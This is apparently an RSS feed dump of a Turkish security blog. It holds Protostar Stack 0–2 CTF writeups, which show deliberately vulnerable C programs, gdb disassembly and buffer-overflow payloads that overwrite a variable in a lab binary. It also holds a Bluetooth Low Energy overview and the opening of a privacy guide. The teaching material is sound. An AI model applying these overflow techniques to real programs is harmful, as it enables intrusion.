CanYouPwnMe! – For Cyber Security Researchers https://canyoupwn.me cypm! Wed, 02 Sep 2020 09:58:10 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png CanYouPwnMe! – For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Protostar: Stack 2 Writeup https://canyoupwn.me/tr-protostar-stack-2-writeup/ https://canyoupwn.me/tr-protostar-stack-2-writeup/#respond Wed, 06 Mar 2019 12:12:38 +0000 https://canyoupwn.me/?p=7570 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Stack2.c Amaç: “you have correctly got the variable to the right value” satırını yazdırmak. #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; char *variable; variable = getenv("GREENIE"); if(variable == NULL) { errx(1, "please set the GREENIE environment variable\n"); } modified = 0; strcpy(buffer, variable); if(modified […]

TR | Protostar: Stack 2 Writeup Emir Kurt

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Stack2.c

Amaç: “you have correctly got the variable to the right value” satırını yazdırmak.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

Bu seviyede de istediğimiz cümleyi yazdırabilmek için programın akışını bir şekilde değiştirmemiz gerekiyor. Önceki seviyede modified değişkeni 0x61626364 olması yeterken şimdi kabuktaki GREENIE değişkeni 0x0d0a0d0a olmalı.

Programın Çalıştırılması

user@protostar:/opt/protostar/bin$ ./stack2
stack2: please set the GREENIE environment variable

Program çalıştırıldığı zaman bir önceki seviyedeki gibi herhangi bir input beklemeden, GREENIE değerini atamamızı istiyor. Bir önceki seviyeden farkı sadece programa doğrudan değil dolaylı yoldan Kabuk değişkenini kullanarak program akışını değiştirecek olmamız.

Bu seviyeyide aynı şekilde uzun bir text verdikten sonra modified değişkenini değiştirip programın akışını istediğimiz şekilde yönlendirebiliriz. Bunun için öncelikle bufferımızı doldurup modified’in değerini değiştirebildiğimizi görelim.

# 64 Tane "A" karakteri
user@protostar:/opt/protostar/bin$ export GREENIE='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ;
./stack2
Try again, you got 0x00000000

# 64 Tane "A" karakteri + 4 tane B
user@protostar:/opt/protostar/bin$ export GREENIE='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB' ; ./stack2
Try again, you got 0x42424242

Evet bu şekilde modified değişkenini istediğimiz şekilde değiştirebildiğimize göre bölümü bitirmek için istenilen değeri yazabilliriz.

Modified Değişkenini Değiştirilmesi

Koddaki if(modified == 0x0d0a0d0a) değerini Little Endiana göre yazdığım 0a0d0a0d yani \x0a\x0d\x0a\x0d değerini yazmam gerektiğini görüyorum. Bunu iki şekilde basitçe payloadıma ekleyebilirim.

Echo ile “\x0a\x0d\x0a\x0d” değerini yazdırmak istersem, hex sayıları yazdırabilmem için -e parametresini ekliyorum.

user@protostar:/opt/protostar/bin$ export GREENIE=$(echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0a\x0d\x0a\x0d')
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable

Python ile:

user@protostar:/opt/protostar/bin$ export GREENIE=$(python -c 'print 64*"A"+"\x0a\x0d\x0a\x0d"')
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable

TR | Protostar: Stack 2 Writeup Emir Kurt

]]>
https://canyoupwn.me/tr-protostar-stack-2-writeup/feed/ 0
TR | Protostar: Stack 1 Writeup https://canyoupwn.me/tr-protostar-stack-1-writeup/ https://canyoupwn.me/tr-protostar-stack-1-writeup/#respond Wed, 09 Jan 2019 13:00:08 +0000 https://canyoupwn.me/?p=7566 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Stack1.c Amaç: “you have correctly got the variable to the right value” satırını yazdırmak. #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got […]

TR | Protostar: Stack 1 Writeup Emir Kurt

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Stack1.c

Amaç: “you have correctly got the variable to the right value” satırını yazdırmak.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

Bu seviyede de istediğiğimiz cümleyi yazdırabilmek için programın akışını daha spesifik bir şekilde değiştirmemiz gerekiyor. Önceki seviyede modifieddeğişkeni 0 haricinde bir değer olması yeterken şimdi 0x61626364 değerine eşit olması gerekmekte.

Programın Çalıştırılması

user@protostar:/opt/protostar/bin$ ./stack1
stack1: please specify an argument

user@protostar:/opt/protostar/bin$ ./stack1 Merhaba
Try again, you got 0x00000000

Program çalıştırıldığı zaman bir önceki seviyedeki gibi herhangi bir input beklemeden argüman belirtiniz çıktısı veriyor. Herhangi bir argüman verdiğim zaman ise Tekrar deneyin diyip o anki modified değişkeninin değerini hex olarak yazdırıyor. Bu seviyeyide aynı şekilde uzun bir değer verdikten sonra geçebiliriz. Fakat gdb (gnu debugger)’dan bahsetmek istiyorum. GDB ile bir programı açıp satır satır assembly kodlarını inceleyebilir, değişiklik yapabilir veya programın akışını değiştirebiliriz.

GDB ve AT&T Sentaks

Aşağıdaki çıktıyı biraz yorumlayarak basitleştirmek gerekirse. Sol taraftaki 0x ile başlayan 16lı tabanındaki sayılar, sağ tarafındaki opcode ve argüman(lar)’ın saklandığı hafıza adresleridir.

Şuan sağdaki argümanlar biraz göz korkutucu görünebilir bunun yerine şu anda varsayılan olan AT&T sentaksını intel ile değiştireceğim.

user@protostar:/opt/protostar/bin$ gdb stack1
Reading symbols from /opt/protostar/bin/stack1...done.
(gdb) b main
Breakpoint 1 at 0x804846d: file stack1/stack1.c, line 11.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048464 <main+0>:    push   %ebp
0x08048465 <main+1>:    mov    %esp,%ebp
0x08048467 <main+3>:    and    $0xfffffff0,%esp
0x0804846a <main+6>:    sub    $0x60,%esp
0x0804846d <main+9>:    cmpl   $0x1,0x8(%ebp)
0x08048471 <main+13>:   jne    0x8048487 <main+35>
0x08048473 <main+15>:   movl   $0x80485a0,0x4(%esp)
0x0804847b <main+23>:   movl   $0x1,(%esp)
0x08048482 <main+30>:   call   0x8048388 <errx@plt>
0x08048487 <main+35>:   movl   $0x0,0x5c(%esp)
0x0804848f <main+43>:   mov    0xc(%ebp),%eax
0x08048492 <main+46>:   add    $0x4,%eax
0x08048495 <main+49>:   mov    (%eax),%eax
0x08048497 <main+51>:   mov    %eax,0x4(%esp)
0x0804849b <main+55>:   lea    0x1c(%esp),%eax
0x0804849f <main+59>:   mov    %eax,(%esp)
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    0x5c(%esp),%eax
0x080484ab <main+71>:   cmp    $0x61626364,%eax
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
0x080484b2 <main+78>:   movl   $0x80485bc,(%esp)
0x080484b9 <main+85>:   call   0x8048398 <puts@plt>
0x080484be <main+90>:   jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    0x5c(%esp),%edx
0x080484c4 <main+96>:   mov    $0x80485f3,%eax
0x080484c9 <main+101>:  mov    %edx,0x4(%esp)
0x080484cd <main+105>:  mov    %eax,(%esp)
0x080484d0 <main+108>:  call   0x8048378 <printf@plt>
0x080484d5 <main+113>:  leave
0x080484d6 <main+114>:  ret
End of assembler dump.

GDB İntel Sentaks

Intel sentaksına geçmek için gdb de set disassembly-flavor intel yazıp tekrardan main fonksiyonunun makina kodlarını assembly kodlarına çeviriyorum. -disassemble-

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048464 <main+0>:    push   ebp
0x08048465 <main+1>:    mov    ebp,esp
0x08048467 <main+3>:    and    esp,0xfffffff0
0x0804846a <main+6>:    sub    esp,0x60
0x0804846d <main+9>:    cmp    DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>:   jne    0x8048487 <main+35>
0x08048473 <main+15>:   mov    DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>:   mov    DWORD PTR [esp],0x1
0x08048482 <main+30>:   call   0x8048388 <errx@plt>
0x08048487 <main+35>:   mov    DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>:   mov    eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>:   add    eax,0x4
0x08048495 <main+49>:   mov    eax,DWORD PTR [eax]
0x08048497 <main+51>:   mov    DWORD PTR [esp+0x4],eax
0x0804849b <main+55>:   lea    eax,[esp+0x1c]
0x0804849f <main+59>:   mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
0x080484b2 <main+78>:   mov    DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>:   call   0x8048398 <puts@plt>
0x080484be <main+90>:   jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>:   mov    eax,0x80485f3
0x080484c9 <main+101>:  mov    DWORD PTR [esp+0x4],edx
0x080484cd <main+105>:  mov    DWORD PTR [esp],eax
0x080484d0 <main+108>:  call   0x8048378 <printf@plt>
0x080484d5 <main+113>:  leave
0x080484d6 <main+114>:  ret
End of assembler dump.

Virgül yerine boşluk görmek ve registerların başında % görmemek okumayı kolaylaştırıyor. İki sentaksın aralarındaki tek fark bu değil aynı zamanda assign yani atama yapılan yerde değişiyor.

Intel Sentaks

opcode hedef,kaynak
mov eax,[ecx]

AT&T Sentaks

opcode kaynak,hedef
movl (%ecx),%eax

Modified Değişkenini Değiştirilmesi

Aşağıdaki gibi bir kaç şekilde stack1 programına argüman yollayabiliriz.

user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA #64 tane A
Try again, you got 0x00000000
user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print('A'*64)")
Try again, you got 0x00000000
user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC
Try again, you got 0x00000043
user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCC
Try again, you got 0x43434343
user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print('A'*64+'CCCC')")
Try again, you got 0x43434343
user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADEFG
Try again, you got 0x47464544

Bir önceki seviyede olduğu gibi 64 tane A(0x41) harfiyle bufferi dolduruyorum. Bunu daha kısa bir şekilde pythondan yardım alarak doldurabileceğimi söylemiştim. Burada dikkat çekmek istediğim son iki örnekte modified variable yerine istediğimi yazdırabiliyor oluşum. Fakat yazdırırken dikkat etmem gereken bir nokta sondan bir önceki 64 tane A ve bir tane C olan örnekte değerim 0x00000043 olması. Yani benim her modified değişkenine yazdığım harf tersten gözüküyor bunun sebebi bizim Big Endian olarak düşünmemiz ama makinaların Little Endian olarak çalışmasından kaynaklanıyor. Aralarındaki temel fark en kıymetli bitin solda yada sağda olmasıdır.

Madem istediğimiz şekilde modified değişkenini değiştirebiliyoruz o zaman bizden istenen değeri yazmayı deniyelim. Stack1.c’dekiif(modified==0x61626364) değerine bakacak olursak. 0x61626364 değerini modified değişkenine yazmak için bu sayıların ascii karşılığına pythondan yardım alarak buluyorum.

$ python3
Python 3.7.1 (default, Oct 22 2018, 10:41:28)
[GCC 8.2.1 20180831] on linux
>>> chr(0x61)
'a'
>>> chr(0x62)
'b'
>>> chr(0x63)
'c'
>>> chr(0x64)
'd'

Demek ki ben 64lük buffer’ı doldurduktan sonra abcd yazarsam bölümü geçebilirim.

user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print('A'*64+'abcd')")
Try again, you got 0x64636261

Little Endian‘a dikkat ederek 🙂

user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print('A'*64+'dcba')")
you have correctly got the variable to the right value

GDB hook-stop

GDB’de hook-stop denilen programın akışı her durdurulduğunda istediğimiz komutları sanki o komutları yazmışız gibi çalıştıran bir komut seti kuralı yazabiliriz.

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>info registers # register'ların durumunu gösterir
>x/i $eip # bir sonraki çalıştırılacak komutu gösterir
>x/16wx $esp # Stack'in durumunu 16word olarak gösterir
>end

1 word 4byte olarak gdb içinde tanımlanmıştır.

Stack 0’da bahsettiğim gibi stack lokal değişkenlerin tutulduğu bir veri yapısıdır. Bu sayede bir programın içerisinde aynı değişken ismi farklı fonksiyonlar içerisinde yer alabilir.

Örnek vermek gerekirse programın içinde birden fazla i değişkeni olmasına rağmen bir fonksiyonun içerisinde sadece tek i değişkeni bulunabilir. Bunun olmasını sağlayan stack frame denilen, her fonksiyon için kendine ait bir stack alanının bulunmasıdır.

user@protostar:/opt/protostar/bin$ gdb stack1 -q # -q Banneri görmemek için
Reading symbols from /opt/protostar/bin/stack1...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>info registers
>x/i $eip
>x/16wx $esp
>end
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
eax            0x61626364       1633837924
ecx            0x0      0
edx            0x45     69
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff6f0       0xbffff6f0
ebp            0xbffff758       0xbffff758
esi            0x0      0
edi            0x0      0
eip            0x80484b9        0x80484b9 <main+85>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
0x80484b9 <main+85>:    call   0x8048398 <puts@plt>
0xbffff6f0:     0x080485bc      0xbffff93e      0xb7fff8f8      0xb7f0186e
0xbffff700:     0xb7fd7ff4      0xb7ec6165      0xbffff718      0x41414141
0xbffff710:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0x080484b9      19      in stack1/stack1.c
(gdb) ni
...
... Aşağıdaki mesajı görene kadar ni yazıp stacke bakalım
...
you have correctly got the variable to the right value
(gdb) x/24wx $esp
0xbffff6f0:     0x080485bc      0xbffff93e      0xb7fff8f8      0xb7f0186e
0xbffff700:     0xb7fd7ff4      0xb7ec6165      0xbffff718      0x41414141
0xbffff710:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x41414141      0x61626364

Görüldüğü gibi 4 satır 0x41414141 ile dolu ve en sonda da bizim 0x61626364 yazdığımız dcba değeri bulunmakta. Her bir 0x41414141 4 byte olup toplam 16 tane word olduğunu hesaplarsak bu programdaki 64byte olan buffer’ı doldurduğumuzu görebiliriz. Sonrasındaki 0x61626364 modified değişkeni oluyor.

Bunu şu şekilde ispatlayabiliriz sadece 64byte’lık bir payload ile çalıştırdığımızda stackteki modified değişkeninin bulunduğu adresin 0 olmasını bekleriz.

...
... Üstteki gdb örneğinin aynısı. Sadece 68byte yerine
... 64byte'lık payload verdim.
(gdb) x/24wx $esp
0xbffff6f0:     0xbffff70c      0xbffff942      0xb7fff8f8      0xb7f0186e
0xbffff700:     0xb7fd7ff4      0xb7ec6165      0xbffff718      0x41414141
0xbffff710:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x41414141      0x00000000

 

TR | Protostar: Stack 1 Writeup Emir Kurt

]]>
https://canyoupwn.me/tr-protostar-stack-1-writeup/feed/ 0
TR | Protostar: Stack 0 Writeup https://canyoupwn.me/tr-protostar-stack-0-writeup/ https://canyoupwn.me/tr-protostar-stack-0-writeup/#respond Sun, 06 Jan 2019 12:12:28 +0000 https://canyoupwn.me/?p=7554 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Stack0.c Amaç: “you have changed the ‘modified’ variable” satırını yazdırmak. #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }   İstediğimiz cümleyi yazdırabilmemiz için programın akışını değiştirilebilmemiz […]

TR | Protostar: Stack 0 Writeup Emir Kurt

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Stack0.c

Amaç: “you have changed the ‘modified’ variable” satırını yazdırmak.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
    volatile int modified;
    char buffer[64];

    modified = 0;
    gets(buffer);

    if(modified != 0) {
        printf("you have changed the 'modified' variable\n");
    } else {
        printf("Try again?\n");
    }
}

 

İstediğimiz cümleyi yazdırabilmemiz için programın akışını değiştirilebilmemiz gerekiyor. Bunun için bir yukarıdaki if koşulunun sağlanması gerekmekte, bunun içinde modified değişkeninin yukarıda tanımlanan 0 değerinden başka bir değere sahip olması gerekmekte.

Programın Çalıştırılması

user@protostar:/opt/protostar/bin$ ./stack0
Merhaba
Try again?

Programmı çalıştırdığım zaman gets() fonksiyonuyla kullanıcıdan stdin -standart input- değer aldığını daha sonra modified değişkeni hala 0 olduğu için “Try again?” mesajını yazdırdığını görüyoruz.

gets() Fonsiyonundaki Sorun

Burada gets() fonksiyonuna dikkat etmek gerekiyor. Eğer man sayfalarını kontrol edecek olursak.

Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security.

Yani gets() fonksiyonu stack frame’e istediğimiz gibi doldurabilmemize olanak sağlıyor. Burada stack frame ile kast edilen şey programdaki fonksiyonları lokal değişkenleri stack içerisinde atılır ve her fonksiyonun kendine ait bir stack frame’i bulunur. Böylece program içerisindeki fonksiyonlar birbirlerinin değişkenlerine erişemezler. -Global değişkenler bundan farklı olarak adresleri ile çağırılırlar ve bu değişkenler stack veya heap dışında Data Sectiontutulur.

Çalıştırılabilir Dosyanın Bölümleri

  • Code (Text)
  • Data
  • Stack
  • Heap

Code (Text): Basitçe makina kodlarının bulunduğu bölüm.
Data: Global ve statik değişken adreslerinin bulunduğu bölüm.
Stack: Lokal değişkenlerin bulunduğu bölüm. Belleğin sonundan Data kısmına doğru büyür. -Stack pointerin adresi küçülür-
Heap: Dinamik değişkenlerin bulunduğu bölüm. Data bölümünden belleğin alt kısımlarına doğru büyür.

Modified Değişkenini Değiştirilmesi

Yukarıdaki bilgiler doğrultusunda gets() fonksiyonunu kullanarak aynı stack frame’de bulunan modified değişkenini değiştirebiliriz. Bunu yapmak aslında çok kolay. Programa input verirken buffer[64]‘ı doldurduktan sonra yazmaya devam etmemiz yeterli.

İstediğim kadar harf üretebilmek için python’dan yardım alıyorum

user@protostar:/opt/protostar/bin$ python -c "print('A'*64)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

64 tane A verdiğimiz zaman ilk seferde çalıştırdığımdaki çıktıyı görüyorum bu zaten buffer dolduğu fakat modified değişkeni değişmediği için beklenilen sonuç.

user@protostar:/opt/protostar/bin$ ./stack0 #64 Tane A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Try again?

Buffer dolduktan hemen sonra modified (int) değişkeni(4 byte) olduğu için sadece tek bir byte’ını değiştirmem yetti.

user@protostar:/opt/protostar/bin$ ./stack0 #65 Tane A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
you have changed the 'modified' variable

Eğer buffer ve 4byte’lık modified değişkenini değiştirdikten sonra yazmaya devam edersek “Segmentation fault” denilen hata ile karşılaşırız. Segmentation Fault programın kendi hafıza alanının dışındaki bir adrese erişmeye çalıştığı zaman işletim sistemi tarafından döndürülen bir hatadır.

user@protostar:/opt/protostar/bin$ ./stack0 #100 Tane A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
you have changed the 'modified' variable
Segmentation fault

TR | Protostar: Stack 0 Writeup Emir Kurt

]]>
https://canyoupwn.me/tr-protostar-stack-0-writeup/feed/ 0
TR | Bluetooth Low Energy Nedir ? https://canyoupwn.me/tr-bluetooth-low-energy-nedir/ https://canyoupwn.me/tr-bluetooth-low-energy-nedir/#respond Thu, 13 Sep 2018 17:14:18 +0000 https://canyoupwn.me/?p=7546 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Öğrenilmesi Gereken Terimler GAP (Generic Access Protocol) GATT (Generic Attribute Profile) UUID (Universally Unique Identifier) (128 Bit Özel Tanımlayıcı) Giriş BLE protocolü Bluetooth SIG tarafından geliştirimiltir. Bluetooth ile karşılaştırıldığında(Bluetooh Classic)’e göre BLE daha az güç tüketir, cihazları eşleştirmek daha az zaman ve efor gerektirir. Bluetooth classic’e göre daha düşük bir bağlantı hızı sağlar. Bluetooth protokolü […]

TR | Bluetooth Low Energy Nedir ? Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Öğrenilmesi Gereken Terimler

  • GAP (Generic Access Protocol)
  • GATT (Generic Attribute Profile)
  • UUID (Universally Unique Identifier) (128 Bit Özel Tanımlayıcı)

Giriş

BLE protocolü Bluetooth SIG tarafından geliştirimiltir. Bluetooth ile karşılaştırıldığında(Bluetooh Classic)’e göre BLE daha az güç tüketir, cihazları eşleştirmek daha az zaman ve efor gerektirir. Bluetooth classic’e göre daha düşük bir bağlantı hızı sağlar.

Bluetooth protokolü iki kategoriye ayrılmıştır. Denetleyici ve Ana bilgisayar. Ayrıca bu kategorilerin belirli rolleri yerine getiren alt kategorileri vardır. Bunlardan GAP ve GATT bizim için önemlidir.

GAP ve GATT arasında ki farkı şöyle açıklayalım.

GAP

BLE Stacki üzerinde ki genel topolojiyi tanımlar.

GATT

İki cihaz arasında transfer edilen verinin hangi özellikleri taşıyacağının detaylarını açıklar.
GATT genellikle verinin nasıl formatlandığı, paketlendiğini açıklanan kurallara göre gönderilip gönderilmediğine odaklanır. Bir de işin ATT kısmı vardır. ATT ise GATT’a yakın konumlanan bir protokoldür. Şöyle ki: GATT iki cihaz arasında ki gidip gelen verinin tanımını yapmak için ATT’yi kullanır.

GAP

Dış dünyada Bluetooth cihazların birbiri ile iletişime geçebilmesi için 2 adet mekanizma vardır. Bunlar: Yayın yapmak(Broadcasting) veya Bağlanmak(Connecting). GAP bu iki mekanizmayı tanımlamaktadır.

Bir cihaz aşağıda ki GAP rollerinden birini kabul ederek Bluetooth ağına dahil olabilir.

Yayın Yapmak Bu rolde bir cihaza veri aktarmak için bağlantıya gerek yoktur.

  • Yayın yapan(Broadcaster): Bu rolde verilerin aktarılması için cihazlarnı açıkca birbirine bağlı olması gerekmez.
  • Observer: Bu rolde ki bir cihaz Yayın yapan cihazdan gelen verileri dinler. Cihazların birbiri ile bağlı olmasına gerek yoktur.

Bağlanmak Bu rolde veri transferi için cihazların bağlı olması gerekmektedir. Bu rol Yayın Yapma(Broadcasting) rolüne göre daha fazla kullanılmaktadır.

  • Çevresel cihazlar(Peripheral Devices) Merkezi cihazlar ile bağlantı kurabilir. Bağlantı kurulduktan sonra herhangi bir veri yayınlamaz. Dinleyici modda kalırlar. Çevresel cihazlar düşük güç tüketimlidir bunun sebebi ise sadece periyodik zamanlarda sinyal göndermekle zorunlu olmasından dolayıdır. Arada ki iletişimi düzenlemek merkezi cihazın sorumluluktur.

Çevresel cihazlar ve Merkezi cihazların bağlantıları bir çok sebeple kopabilir fakat cihazlar kendi bağlantılarını da sonlandırabilirler.

  • Merkezi cihaz Çevresel cihaz ile bağlantıyı sağlayan cihazdır. Bir merkezi cihaz birden fazla çevresel cihaza bağlanabilir. Bağlantı için çevresel cihaza bir istek gönderir ve çevresel cihaz bunu kabul ederse bağlantı sağlanmış olur. Örnek olarak: Bilgisayarınız da Bluetooth 4.0 destekli bir Bluetooth cihazınız var ise bunu diğer çevresel cihazlara bağlanmak için kullanabilirsiniz. Bu durumda bilgisayarınız bir Merkezi cihaz olur.

Merkezi cihaz ile çevresel cihazın birbirine bağlanabilmesi için çeşitli bağlantı parametrelerine ihtiyacı vardır. Bu parametreler sadece Merkezi cihaz tarafından değiştirilebilir ve güncellenebilir fakat çevresel bir cihaz merkezi cihazdan bağlantı parametrelerini değiştirmesini isteyebilir.

GATT (Generic Attribute Profile)

Roller

GAP’a benzer bir şekilde cihazların etkileşime geçebilmesi için kabul edebileceği/benimseyebileceği roller bulunmaktadır.

Bunlar:

  • İstemci: Sunucu(Server) üzerinde ki parametreleri okuyabilir veya parametre yazabilir.
  • Sunucu: Sunucunun ana rollerinden birisi parametreleri saklamaktır. İstemci bir istekte bulunduğunda sunucu bu parametre/özellikleri kullanılabilir hale getirmek zorundadır.

Bluetooth Stack’i aşağıda ki gibidir.

BLE Günlük Hayatta Nerelerde Kullanılıyor?

  • Alışveriş merkezlerinde belirli bir range girdiğinizde yanlış hatırlamıyorsam reklam amaçlı olarak kullanılabiliyor. Eminim başınıza gelmiştir bir mağazanın önünden geçerken o mağazaya ait telefonunuza reklam SMS’i gelir.
  • Bir çok IOT cihazda bağlantı için kullanılıyor.
  • Akıllı bileklikler vs.
  • Araba anahtarları. Bu anahtarlar klasik anahtarlar değildir. Örnek vermek gerekirse yanına gittiğinizde otomatik kapıları açılan arabalarda bu teknoloji kullanılmaktadır.

BLE ile ilgili çıkmış açıklıklar

Metasploit

BLE ile ilgili araçlar

Ayrıca ESP32 ile de araştırmalar veya çalışmalar yapabilirsiniz.

ESP32 Hakkındaki yazım

İleride belki bununla ilgili teknik bir yazı yazabilirim. Şuanlık yazımız bu kadar.

Okuduğunuz için teşekkürler.

Daha detaylı bilgi için:

GATT
GAP

TR | Bluetooth Low Energy Nedir ? Enes ERGÜN

]]>
https://canyoupwn.me/tr-bluetooth-low-energy-nedir/feed/ 0
TR | Gizlilik Rehberi – 1 https://canyoupwn.me/tr-gizlilik-rehberi-1/ https://canyoupwn.me/tr-gizlilik-rehberi-1/#respond Fri, 15 Jun 2018 06:10:58 +0000 https://canyoupwn.me/?p=7526 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Son zamanlarda kulağımıza çok gelir oldu bu kelime “gizlilik”. Facebook’un Cambridge Analytica vakası, Twitter’ın iç ağdaki log sistemindenden kaynaklanan bir açıklıktan dolayı kullanıcı parolalarının açık şekilde iletildiğini duyurması, seçmen bilgilerinin yayılması, sürecini yakınen takip ettiğimiz, gizliliğimizi ve özgürlüğümüzü kısıtlayan VPN, site engellemeleri ve daha nicesi. Tüm bu olaylara bakıldığında gizliliğin hayatımızda ne noktada olduğunu daha […]

TR | Gizlilik Rehberi – 1 Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

